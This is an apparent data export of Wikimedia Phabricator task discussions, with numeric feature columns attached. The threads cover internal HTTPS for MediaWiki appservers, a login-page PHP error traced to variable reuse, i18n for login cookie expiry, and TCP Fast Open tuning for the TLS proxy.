+At this point, I'm leaning towards doing a trial (perhaps incomplete, but proof-of-concept) patch for GnuTLS and seeing how that goes.  I don't think we can wait on Varnish4/ATS to fix these problems, so options 3/4 aren't realistic in the near term.  Option 1 (stunnel) is still on the table, depending on how well the patching work goes.",,,1441730144,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-egswbkdsn7nr7tqgwi5k,task_subcomment,,True,c3,3,True,,,9,True,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,0,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0
+109315,Enable HTTPS on internal MediaWiki appserver virtual service hostnames,"Essentially, this task is about making https://appservers.svc.eqiad.wmnet/ and similar work internally.  Ideally we do this for all internal service endpoints eventually, but MediaWiki is the biggest target to go after for the initial work of sorting this out.  Host: headers can still be used to make requests to e.g. en.wikipedia.org over these TLS connections, but the cert should match the hostname used for the TCP connection in this case, IMHO.
+
+In certificate terms, we need to create keys and issue certs (signed by the internal WMF CA that we already trust) for the virtual service hostnames.  Probably the first step there is to come up with a definitive list of which clusters need which service hostnames (e.g. should the same broad pool of mw* machines have a SAN cert that covers both appservers.svc and api.svc? etc).
+
+There are two basic obvious approaches to configuring the TLS listener:
+1) We could deploy the puppetized tlsproxy nginx configuration (with slight ammendments) as an inbound TLS proxy that talks to apache.  The advantage here is simplicity of a known-good solution in configuration terms.  The downside is it adds another layer to the overall request-processing stack, which reduces uptime and complicates debugging, etc.
+2) We could configure the TLS listening part in the appservers' current apache instance.  This is much better in terms of runtime/debugging complexity, but I'm not yet sure how difficult it would be to implement in apache terms (having TLS with a cert matching the virtual service hostname, which applies to all of the (~70?) VirtualHost declarations in the current apache-level configuration.
+
+Eventually we'll want to use TLS Client Auth with this as well, but we could do that as a second step after the initial one-way auth.  Even without client auth, we're gaining significant resistance to passive snooping.",Medium,50.0,1439825170,1481864267.0,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-h4vak6nrj4jqsfsvccwi,task_description,duplicate,True,c3,3,True,True,False,6,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,1,1,1,0,1,1,0,1,0,1,1,0,1,1,1,1,1,1,1,0,0,1,1,1,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,1,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,1,1
+109193,ErrorException SpecialUserlogin.php: Invalid operand type was used,"```
+2015-08-15 19:18:15 translatewiki.net translatewiki_net-bw_: [c1d4f49b]
+                    /w/i.php?title=Special:UserLogin&action=submitlogin&type=login&returnto=Special:UserLogin&returntoquery=type%3Dsignup
+                    ErrorException from line 1070 of /srv/mediawiki/tags/2015-08-15_15:50:02/includes/specials/SpecialUserlogin.php: PHP
+                    Warning: Invalid operand type was used: Invalid type used as key
+2015-08-15 19:18:15 translatewiki.net translatewiki_net-bw_: [2cefad9b]
+                    /w/i.php?title=Special:UserLogin&action=submitlogin&type=login&returnto=Special:UserLogin&returntoquery=type%3Dsignup
+                    ErrorException from line 1070 of /srv/mediawiki/tags/2015-08-15_15:50:02/includes/specials/SpecialUserlogin.php: PHP
+                    Notice: Undefined index:
+```",Medium,50.0,1439666963,1443539325.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,PHID-TASK-2xd27lbdisruiu634pmi,task_description,resolved,True,c3,3,True,False,True,6,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1
+551714,ErrorException SpecialUserlogin.php: Invalid operand type was used,"Change 232220 merged by jenkins-bot:
+Validate status codes returned from the AbortLogin hook
+
+[[https://gerrit.wikimedia.org/r/232220]]",,,1445726170,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2xd27lbdisruiu634pmi,task_subcomment,,True,c3,3,False,,,16,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+509892,ErrorException SpecialUserlogin.php: Invalid operand type was used,"Change 232220 had a related patch set uploaded (by Gergő Tisza):
+Validate status codes returned from the AbortLogin hook
+
+[[https://gerrit.wikimedia.org/r/232220]]
+",,,1439853027,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2xd27lbdisruiu634pmi,task_subcomment,,True,c3,3,False,,,6,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+509816,ErrorException SpecialUserlogin.php: Invalid operand type was used,"Change 231974 abandoned by Gergő Tisza:
+Fix array access error in LoginForm
+
+[[https://gerrit.wikimedia.org/r/231974]]",,,1439845970,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2xd27lbdisruiu634pmi,task_subcomment,,True,c3,3,False,,,6,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+509777,ErrorException SpecialUserlogin.php: Invalid operand type was used,">>! In T109193#1546910, @Nikerabbit wrote:
+> The above log entry was truncated, here is the full one:
+> ```
+> [Sat Aug 15 21:18:15 2015] [hphp] [28681:7f5ea07ff700:3402:000002] [] \nNotice: Undefined index: <OK, collected 1 error(s) on the way, no value set>\n+------+---------------------------+-------------
+> -----------------------------+\n|    1 | passwordtooshort          | 8                                        |\n+------+---------------------------+------------------------------------------+\n in /
+> srv/mediawiki/tags/2015-08-15_15:50:02/includes/specials/SpecialUserlogin.php on line 1070
+> ```
+
+That looks like the problem that @Anomie fixed in https://gerrit.wikimedia.org/r/232046 where `$status` was being reused inside the `self:SUCCESS` case of `LoginForm::processLogin()`. That would also explain HHVM seeing the key as an object.",,,1439841752,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-2xd27lbdisruiu634pmi,task_subcomment,,True,c3,3,True,,,6,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,1,1,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,1,1,0,1,0,0,1,0,1,0,1,0,0,1,1,0,0,1,0,1,1,1,0,1,0,0,1
+509725,ErrorException SpecialUserlogin.php: Invalid operand type was used,"The above log entry was truncated, here is the full one:
+```
+[Sat Aug 15 21:18:15 2015] [hphp] [28681:7f5ea07ff700:3402:000002] [] \nNotice: Undefined index: <OK, collected 1 error(s) on the way, no value set>\n+------+---------------------------+-------------
+-----------------------------+\n|    1 | passwordtooshort          | 8                                        |\n+------+---------------------------+------------------------------------------+\n in /
+srv/mediawiki/tags/2015-08-15_15:50:02/includes/specials/SpecialUserlogin.php on line 1070
+```",,,1439838360,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-2xd27lbdisruiu634pmi,task_subcomment,,True,c3,3,True,,,6,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+509548,ErrorException SpecialUserlogin.php: Invalid operand type was used,"Change 232046 merged by jenkins-bot:
+Rename variable to avoid collisions
+
+[[https://gerrit.wikimedia.org/r/232046]]",,,1439826149,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2xd27lbdisruiu634pmi,task_subcomment,,True,c3,3,False,,,6,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+509514,ErrorException SpecialUserlogin.php: Invalid operand type was used,"Change 232046 had a related patch set uploaded (by Anomie):
+Rename variable to avoid collisions
+
+[[https://gerrit.wikimedia.org/r/232046]]
+",,,1439823833,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2xd27lbdisruiu634pmi,task_subcomment,,True,c3,3,False,,,6,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+509510,ErrorException SpecialUserlogin.php: Invalid operand type was used,"Although checking extensions in Gerrit, I don't see any that are likely to be misbehaving. More likely is SpecialUserlogin.php line 980 overwriting the $status variable.",,,1439823666,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-2xd27lbdisruiu634pmi,task_subcomment,,True,c3,3,True,,,6,True,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,0
+509478,ErrorException SpecialUserlogin.php: Invalid operand type was used,">>! In T109193#1543712, @Tgr wrote:
+> so it's probably something using the `AbortLogin` hook.
+
+A better fix then would be to check the value output by that hook and throw an exception if it's a wrong type, instead of just blindly casting it to an integer.",,,1439822202,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-2xd27lbdisruiu634pmi,task_subcomment,,True,c3,3,True,,,6,True,0,1,0,0,0,1,1,0,0,1,1,1,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,0,1,1,0,1
+509205,ErrorException SpecialUserlogin.php: Invalid operand type was used,"Duct tape fix; would be nice to figure out what returns an invalid return status. `LoginForm::authenticateUserData()` itself seems sound, so it's probably something using the `AbortLogin` hook.",,,1439761528,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-2xd27lbdisruiu634pmi,task_subcomment,,True,c3,3,True,,,6,True,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+509204,ErrorException SpecialUserlogin.php: Invalid operand type was used,"Change 231974 had a related patch set uploaded (by Gergő Tisza):
+Fix array access error in LoginForm
+
+[[https://gerrit.wikimedia.org/r/231974]]
+",,,1439761263,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2xd27lbdisruiu634pmi,task_subcomment,,True,c3,3,False,,,6,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+509202,ErrorException SpecialUserlogin.php: Invalid operand type was used,"Type juggling, probably.
+```
+$v = null;
+switch( $v ) {
+    case 0:
+        echo '0';
+        break;
+    default:
+        echo 'default';
+        break;
+}
+// '0'
+```",,,1439760491,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-2xd27lbdisruiu634pmi,task_subcomment,,True,c3,3,True,,,6,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1
+509182,ErrorException SpecialUserlogin.php: Invalid operand type was used,"`Notice: Undefined index:` looks like `$status` is null or an empty string. The `Invalid operand type was used: Invalid type used as key` error [[https://github.com/facebook/hhvm/blob/7199b9345c3042427e3386e5079393de182fbf00/hphp/runtime/base/type-array.cpp#L493-L496|points to it being an array or object]] based on an HHVM source search.
+
+I'm not sure however how any of these states would make it to line 1070 as the `switch ( $status ) { ... }` ends with `default: throw new MWException( 'Unhandled case value' );` for any value that is not already listed in `LoginForm::$statusCodes`.
+
+@nemo_bis is this easily repeatable? If so could you live hack to try and get a `var_dump` of `$status`?",,,1439757270,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-2xd27lbdisruiu634pmi,task_subcomment,,True,c3,3,True,,,6,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1
+509123,ErrorException SpecialUserlogin.php: Invalid operand type was used,The array access was added in https://gerrit.wikimedia.org/r/#/c/230034/,,,1439748135,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-2xd27lbdisruiu634pmi,task_subcomment,,True,c3,3,True,,,6,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+109031,Have userlogin-remembermypassword respect extended login cookie expiration,,Medium,50.0,1439528706,1464906373.0,PHID-USER-dw53c5cb2qfhyemej57o,True,PHID-USER-dw53c5cb2qfhyemej57o,True,PHID-TASK-pfjtrv37t6n2bgoj5k2m,task_description,resolved,True,c3,3,True,True,False,6,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+673654,Have userlogin-remembermypassword respect extended login cookie expiration,"Thanks, @Tgr .",,,1464906396,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-pfjtrv37t6n2bgoj5k2m,task_subcomment,,True,c3,3,True,,,48,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0
+661646,Have userlogin-remembermypassword respect extended login cookie expiration,"Change 283698 abandoned by Gergő Tisza:
+Fix i18n message parameter for 'keep me logged in' days.
+
+Reason:
+Done in I1e8fc632b52694aa6eb34ca1e9eae6d0b57df920, If89d24838e326fe25fe867d02181eebcfbb0e196, I8b52ec8ddf494f23941807638f149f15b5e46b0c.
+
+[[https://gerrit.wikimedia.org/r/283698]]",,,1463102149,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pfjtrv37t6n2bgoj5k2m,task_subcomment,,True,c3,3,False,,,45,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,1,0,0,0,1
+649528,Have userlogin-remembermypassword respect extended login cookie expiration,">>! In T109031#2219373, @Mpaulson wrote:
+> Isn't this a duplicate ticket? See https://phabricator.wikimedia.org/T68699
+
+No, this is a core issue to make the messages work properly.  {T68699} is actually changing the config.",,,1461256288,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-pfjtrv37t6n2bgoj5k2m,task_subcomment,,True,c3,3,True,,,42,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,0,1,1,1,0,1,0,1,0,1,0,1,0,0,1
+648245,Have userlogin-remembermypassword respect extended login cookie expiration,Isn't this a duplicate ticket? See https://phabricator.wikimedia.org/T68699,,,1461090835,,PHID-USER-kffalvhbc2wojbtnxvua,True,,,PHID-TASK-pfjtrv37t6n2bgoj5k2m,task_subcomment,,True,c3,3,False,,,41,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0
+646764,Have userlogin-remembermypassword respect extended login cookie expiration,"Change 231490 abandoned by Mattflaschen:
+Fix i18n message parameter for 'keep me logged in' days.
+
+Reason:
+In favor of https://gerrit.wikimedia.org/r/#/c/283698/
+
+[[https://gerrit.wikimedia.org/r/231490]]",,,1460758473,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pfjtrv37t6n2bgoj5k2m,task_subcomment,,True,c3,3,False,,,41,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,1,0,0,0,1
+646720,Have userlogin-remembermypassword respect extended login cookie expiration,"Change 283698 had a related patch set uploaded (by Gergő Tisza):
+Fix i18n message parameter for 'keep me logged in' days.
+
+[[https://gerrit.wikimedia.org/r/283698]]
+",,,1460748551,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pfjtrv37t6n2bgoj5k2m,task_subcomment,,True,c3,3,False,,,41,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,1,0,0,0,1
+628510,Have userlogin-remembermypassword respect extended login cookie expiration,"Change 231490 restored by Mattflaschen:
+Fix i18n message parameter for 'keep me logged in' days.
+
+Reason:
+My mistake.  This was not actually removed.
+
+[[https://gerrit.wikimedia.org/r/231490]]",,,1457747203,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pfjtrv37t6n2bgoj5k2m,task_subcomment,,True,c3,3,False,,,36,True,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,1,0,0,0,1
+617329,Have userlogin-remembermypassword respect extended login cookie expiration,"Change 231490 abandoned by Mattflaschen:
+Fix i18n message parameter for 'keep me logged in' days.
+
+Reason:
+See T68699
+
+[[https://gerrit.wikimedia.org/r/231490]]",,,1456336612,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pfjtrv37t6n2bgoj5k2m,task_subcomment,,True,c3,3,False,,,33,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,1,0,0,0,1
+508049,Have userlogin-remembermypassword respect extended login cookie expiration,"Change 231490 had a related patch set uploaded (by Mattflaschen):
+Fix i18n message parameter for 'keep me logged in' days.
+
+[[https://gerrit.wikimedia.org/r/231490]]
+",,,1439531105,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pfjtrv37t6n2bgoj5k2m,task_subcomment,,True,c3,3,False,,,6,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,1,0,0,0,1
+108827,Investigate TCP Fast Open for tlsproxy,"[[ https://en.wikipedia.org/wiki/TCP_Fast_Open | TCP Fast Open ]] has the potential to further reduce latency for at least some TLS connections.  With TLS there's also no idempotency concerns like there are for using it with plain HTTP, as the fastopen-sent data would just be the TLS ClientHello.  Our current cache cluster kernels and nginx builds support it, requiring sysctl adjustments and an nginx config change.  Various concerns/work that need addressing before trying to really enable it:
+
+1. Is client-side adoption percentage high enough to matter yet?  Right now probably fairly low, but growing.  Linux+Chrom(e|ium) can do it by default on newer kernels, and Android 5 can do it.  El Capitan Macs (Safari? Chrome?) may start trying it in the fall.
+
+2. How do we appropriately tune the limit for the outstanding fastopen queue per socket? (in nginx terms, this is the `N` in the `fastopen=N` parameter).  Too high has DoS implications both for us and as a potential reflector.  Too low and we may miss legit TFO due to our high SYN concurrency.
+
+3. Is LVS a factor here for TFO compatibility, and does it (or should it) pay attention to the cookies?
+
+4. We'd need to synchronize the TFO cookie key across machines in a cluster and rotate them periodically, or rely on client source IP hashing and only periodically regenerate locally per-machine.  This is somewhat similar to the issues with RFC5077 secrets but considerably less security-critical; leaking it opens us to easier DoS, but does not affect TLS security of legitimate client traffic.  We'd need to generate a random key and distribute it securely and periodically, etc.  Everything about this is dependent on answering the LVS question above too.",Medium,50.0,1439388497,1471254196.0,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-USER-spcngbyufhlv6qsdoqev,False,PHID-TASK-5qjfu7slaazul3cxubyj,task_description,resolved,True,c3,3,True,False,False,5,True,1,1,0,0,1,1,1,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1,0,0,0,1,0,1,1,1,1,1,0,1,0,0,0,0,1,1,1,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,0,1,1,1,1,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1
+711497,Investigate TCP Fast Open for tlsproxy,"The high rate of failed incoming TFO connections in esams seems to have stopped since [[  https://gerrit.wikimedia.org/r/297418| we switched the load balancers to sh]] for port 80 too.
+{F4364140}
+
+TFO has been enabled for a while now without causing any particular issue. Closing this ticket.",,,1471254196,,PHID-USER-spcngbyufhlv6qsdoqev,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,True,,,58,True,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+710181,Investigate TCP Fast Open for tlsproxy,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVZ6uLFLpirJUPGy-vK0} [2016-08-11T17:48:59Z] <ema> switched LVS schedulers for text, upload, maps and misc port 80 to source hash scheduling T108827",,,1470937740,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,False,,,58,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+710068,Investigate TCP Fast Open for tlsproxy,"Change 297418 merged by Ema:
+lvs: switch port 80 loadbalancing to sh for cache_ services
+
+[[https://gerrit.wikimedia.org/r/297418]]",,,1470931073,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,False,,,58,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+692761,Investigate TCP Fast Open for tlsproxy,"@faidon - so far we've seen TFO stats showing more TFO failures than successes, so we're looking for reasons why TFO so commonly fails when attempted.  That port 80 isn't sh is a logical explanation for how clients are getting TFO failures if they're switching between 80 and 443 even briefly for some unknown reason.",,,1468328204,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,True,,,53,True,1,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0
+692758,Investigate TCP Fast Open for tlsproxy,"I don't particularly object into either moving port 80 to `sh` or to nginx, but I don't think that TFO on port 80 will make any kind of performance impact — at least as I understand it so far.",,,1468327898,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-5qjfu7slaazul3cxubyj,task_subcomment,,True,c3,3,True,,,53,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0
+692025,Investigate TCP Fast Open for tlsproxy,">>! In T108827#2447888, @BBlack wrote:
+> Another thing just occurred to me though - until we switch port 80 to nginx or patch our varnish, we don't have TFO support on port 80 regardless, as varnish doesn't set it on the socket.  It may or may not help much to make the sh switch until then.
+
